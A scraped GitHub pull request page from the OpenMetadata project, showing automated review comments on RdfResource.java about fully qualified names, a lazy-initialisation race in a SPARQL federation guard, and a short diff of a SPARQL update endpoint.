The validateGraph method uses inline fully-qualified names (org.apache.jena.rdf.model.Model, org.apache.jena.riot.RDFDataMgr, java.io.ByteArrayOutputStream, etc.) instead of imports. This violates the project's coding standards ('No fully qualified names') and makes the method hard to read. There are 14 FQN usages in a single 70-line method.

✅ Bug: SparqlFederationGuard race condition on lazy init

📄 openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java:113-120
In RdfResource.java lines 113-120, getFederationGuard() has a lazy-init pattern without synchronization. The field is volatile, but the check-then-assign pattern is not atomic — two threads could both see null and both create a new instance. While the consequences here are benign (both would be functionally equivalent), the field is already initialized in initialize() (line 110), so the lazy fallback is only for tests. The inconsistency with the double-checked locking pattern used for getSemanticSearchEngine() is confusing.

...and 10 more resolved from earlier reviews

Options

Display: compact → Showing less information.

Comment with these commands to change the behavior for this request:

Compact
gitar display:verbose         

Was this helpful? React with 👍 / 👎 | Powered by Gitar — free for open source

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 165 out of 988 changed files in this pull request and generated 1 comment.

Comment on lines -1289 to +1294
.entity("RDF repository is not enabled")
.build();
executeSparqlUpdate(guardPrincipal(securityContext), sparqlQuery.getQuery());
return Response.ok(new SparqlUpdateResult("success")).build();
@sonarqubecloud

Copy link
Copy Markdown

@sonarqubecloud

Copy link
Copy Markdown

This branch was previously deployed

1 inactive deployment
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

backend safe to test Add this label to run secure Github workflows on PRs skip-pr-checks Bypass PR metadata validation check

Projects

None yet

Development

Successfully merging this pull request may close these issues.